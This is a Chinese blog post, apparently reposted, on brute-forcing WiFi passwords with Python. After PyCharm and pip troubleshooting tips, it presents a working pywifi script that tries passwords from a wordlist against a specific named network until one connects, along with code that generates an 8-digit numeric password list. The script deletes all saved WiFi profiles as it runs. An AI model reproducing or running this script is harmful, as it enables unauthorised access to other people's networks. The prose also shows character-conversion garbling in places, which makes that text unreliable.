天天看點

[python爬蟲]暴力破解Wifi密碼

遇到的錯誤

一.Python在終端通過pip安裝好包以後,在Pycharm中依然無法使用的解決辦法

解決方案一:

在Pycharm中,依次打開File—>Settings,彈窗如下圖:

[python爬蟲]暴力破解Wifi密碼

點選右側“+”号,輸入自己需要導入包的名稱,在下面清單中可以看到自己需要的包,詳圖如下:

[python爬蟲]暴力破解Wifi密碼

最後點選Install Package,等待安裝完成即可。

解決方案二:

前提是已經在終端通過pip install指令成功安裝了包。windows環境下,pip會将下載下傳的第三方包存放在以下路徑:[your path]\Python36\Lib\site-packages\中,在這個檔案夾下,找到我們要引用的包,複制到:[使用解釋器路徑]\Lib\site-packages\下,即可使用。使用解釋器是你項目下面的這個,如圖。

[python爬蟲]暴力破解Wifi密碼

解決方案三:

重建立項目,建立的時候勾選“inherit global site-packages”,即可解決。詳情見下圖

[python爬蟲]暴力破解Wifi密碼

二.運作時報No module named 'comtypes’錯

解決辦法:安裝 comtypes子產品:

[python爬蟲]暴力破解Wifi密碼

關于pip的使用可以參考我的另一篇文章重學python之pip

學到的技巧

1.(使用pycharm)ctrl+點選可以跳到相應部分檢視代碼和定義!

2.注釋是個很重要的東西!(選中+Ctrl+/)

3.最好使用導入子產品中定義的常量來判斷:

例如:

if ifaca.status()==const.IFACE_DISCONNECTED:
        print("未連接配接")
    else: print("連接配接")
           

中 用const.IFACE_DISCONNECTED代替0是個更好的選擇

因為别人不知道0代表什麼

代碼:

import time

import pywifi
from pywifi import const
# 判斷是否連接配接到wifi環境
def gic():
    #建立一個無線對象
    wifi=pywifi.PyWiFi()
    # print(wifi)
    #擷取網卡【】清單
    ifaca=wifi.interfaces()[0]
    #擷取無線網卡名字
    print(ifaca.name())
    print(ifaca.status())
    if ifaca.status()==const.IFACE_DISCONNECTED:
        print("未連接配接")
    else: print("連接配接")

# gic()
# 掃描附近的wifi
def bies():
    wifi=pywifi.PyWiFi()
    ifcae=wifi.interfaces()[0]
    # 掃描附近wifi
    ifcae.scan()
    #儲存掃描結果,如果沒有反應就多掃幾遍
    bessis=ifcae.scan_results()
    # print(bessis)
    #列印附近wifi的名字(ssid)
    for wifi in bessis:
        print(wifi.ssid)
# bies()
def wificonnect(wifiname,wifipwd):
    # wifi連接配接測試
    wifi=pywifi.PyWiFi()
    iface=wifi.interfaces()[0]
    # 斷開wifi連接配接
    # iface.disconnect()
    time.sleep(0.5)
    if iface.status()==const.IFACE_DISCONNECTED:
      #        建立wifi連接配接檔案
      profilie=pywifi.Profile()
      # wifi名稱
      profilie.ssid=wifiname
      # wifi密碼
      profilie.key=wifipwd
      # wifi的加密算法
      profilie.akm.append(const.AKM_TYPE_WPA2PSK)
      # 網卡的開放
      profilie.auth=const.AUTH_ALG_OPEN
      # 加密單元
      profilie.cipher=const.CIPHER_TYPE_CCMP


      # 删除所有wifi檔案
      iface.remove_all_network_profiles()
      # 添加新的wifi檔案
      temp_profile=iface.add_network_profile(profilie)


      # 連接配接wifi
      iface.connect(temp_profile)
      time.sleep(2)
      if iface.status()==const.IFACE_CONNECTED:
          return True
      else:return False

#讀取密碼
def read_pwd():
  path="F:\\untitled\\WIFI\\code.text"
  file=open(path,"r")
  while True:
      try:
          wifipwd=file.readline();
          bool=wificonnect("ChinaNet-kTGS",wifipwd)
          if bool:
              print("密碼正确:"+wifipwd)
              break
          else:
              print("密碼錯誤:"+wifipwd)
      except:
          continue
  file.close()

read_pwd()


#生成密碼本
import itertools as its
words = '1234567890'
# 生成密碼的位數
r = its.product(words,repeat=8)
dic = open('F:\\untitled\\WIFI\\code.text','a')

for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密碼本生成')


           

參考:Python在終端通過pip安裝好包以後,在Pycharm中依然無法使用的解決辦法

原文連結:https://blog.csdn.net/kouyi5627/article/details/80531442